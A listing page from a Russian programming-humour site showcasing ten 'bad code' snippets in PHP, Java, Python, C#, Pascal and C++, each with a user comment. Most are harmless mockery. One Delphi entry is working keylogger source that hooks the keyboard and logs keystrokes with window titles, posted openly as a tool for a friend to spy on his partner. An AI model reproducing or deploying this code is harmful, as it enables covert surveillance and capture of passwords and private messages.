1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #24940

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    <?php
    define('+1', 16384);
    ${'*.'} = function ($a, $b) {
        return floor($a * $b / constant('+1'));
    };
    
    ${'/.'} = function ($a, $b) {
        return floor($a * constant('+1') / $b);
    };
    
    echo ${'/.'}(1, 1) . "\n";
    echo ${'/.'}(1, 2) . "\n";
    echo ${'/.'}(7, 34) + ${'/.'}(23, 99) . "\n";

    Где-то за кулисами прячется факт, что в "PHP" в качестве имён констант и переменных можно использовать произвольные строки.

    https://ideone.com/3MCnCW

    4EPTA_KyJIuC, 19 Октября 2018

    Комментарии (22)
  3. Java / Говнокод #24923

    +2

    1. 1
    2. 2
    3. 3
    4. 4
    private static final int EXPIRATION_DATE = 93*24*60*60*1000;
     if (fileAttribute.creationTime().toMillis() + EXPIRATION_DATE < System.currentTimeMillis()) {
                   ...
                }

    в мастер-ветке...

    justtrash, 15 Октября 2018

    Комментарии (65)
  4. PHP / Говнокод #24922

    +2

    1. 1
    2. 2
    3. 3
    4. 4
    <?php
    if (isset($block4_items_block) || count($block4_items_block) >= 3 || (isset($block4_items_block[0]['bg']) || isset($block4_items_block[1]['bg']) || isset($block4_items_block[2]['bg'])) || (isset($block4_items_block[0]['title']) || isset($block4_items_block[1]['title']) || isset($block4_items_block[2]['title'])) || (strlen($block4_items_block[0]['bg']) > 0 || strlen($block4_items_block[1]['bg']) > 0  || strlen($block4_items_block[2]['bg']) > 0 ) || (strlen($block4_items_block[0]['title']) > 0 || strlen($block4_items_block[1]['title']) > 0  || strlen($block4_items_block[2]['title']) > 0 )){
    
    ?>

    Прислал друг.
    Примерно такое же условие еще находится в шаблоне.

    StTv, 15 Октября 2018

    Комментарии (21)
  5. Python / Говнокод #24902

    +2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    class Test(contextlib.ExitStack):
        def __init__(self):
            super().__init__()
            with contextlib.ExitStack() as s:
                self.foo = s.enter_context(Foo())
                self.bar = s.enter_context(Bar())
                self.enter_context(s.pop_all())

    Неужели в питоне нет более адекватного способа описать класс, который держит джва ресурса и корректно их освобождает во всех ситуациях? И эти люди ругают кресты за сложность управления памятью...

    bormand, 11 Октября 2018

    Комментарии (131)
  6. C# / Говнокод #24897

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    private int SortWObyAD(WorkOrderShort wo1, WorkOrderShort wo2)
    {
    	if (wo1.AD == wo2.AD)
    	{
    		return 0;
    	}
    	else if (wo1.AD > wo2.AD)
    	{
    		return 1;
    	}
    	else
    	{
    		return -1;
    	}
    }

    Сразу 2 достоинства:
    1) абсолютно не понятно, что такое AD;
    2) ах да, все это можно было бы заменить одной строкой "return wo1.AD - wo2.AD", т.к. все это будет использоваться в одной из стандартных функций сортировки

    Moses, 11 Октября 2018

    Комментарии (4)
  7. C# / Говнокод #24894

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    [HttpPost]
            public string PayFromCreditCard(CreditCardViewModel cardInfo, double depositValue)
            {
                try
                {
                    // todo: make real payment
                    return AjaxResult.CreateSuccess();
                }
                catch (Exception exc)
                {
                    return AjaxResult.CreateError(exc.Message);
                }
            }

    Этот код сейчас живет где-то на продакшене...

    Moses, 11 Октября 2018

    Комментарии (2)
  8. Pascal / Говнокод #24859

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    BagorCtretora, 04 Октября 2018

    Комментарии (126)
  9. Куча / Говнокод #24806

    +2

    1. 1
    https://i.imgur.com/foJHCYt.jpg

    Новые винды теперь даже БСОД не могут полностью вывести полностью.
    Хотели сделать красивый нескучный bsod с грустным смайликом, а он теперь не выводится из-за всей этой красивости и нескучности. Оставили б старый bsod - была бы какая-то инфа о причинах самого бсода. Но зато тут теперь нескучный смайлик.

    То ли дело кернелпаник в прыщах, никаких тебе смайликов и чорная страшная консоль с непонятными циферками и буковками. Неюзерфрендли

    j123123, 24 Сентября 2018

    Комментарии (101)
  10. C++ / Говнокод #24803

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    struct A { 
      virtual int transmogrify();
    };
     
    struct B : A {
      int transmogrify() override { new(this) A; return 2; }
    };
     
    int A::transmogrify() { new(this) B; return 1; }
     
    static_assert(sizeof(B) == sizeof(A));
    
    int main() {
      A i;
      int n = i.transmogrify();
      // int m = i.transmogrify(); // undefined behavior
      int m = std::launder(&i)->transmogrify(); // OK
      assert(m + n == 3);
    }

    Yo dawg, we heard you like kostyli, so we put our kostyli into your kostyli, so that you can use kostyli to support our kostyli!

    https://en.cppreference.com/w/cpp/utility/launder

    А если серьезно, мне еще не удалось соорудить пример, чтоб код с std::launder и без него работали по разному.

    Elvenfighter, 24 Сентября 2018

    Комментарии (19)
  11. C++ / Говнокод #24791

    +2

    1. 1
    2. 2
    3. 3
    4. 4
    template <class F, class G>
    auto operator*(F&& f, G&& g) -> decltype(auto) {
    	return [=](auto ...args) { return f(g(args...)); };
    }

    Композиция функций

    IBets, 21 Сентября 2018

    Комментарии (45)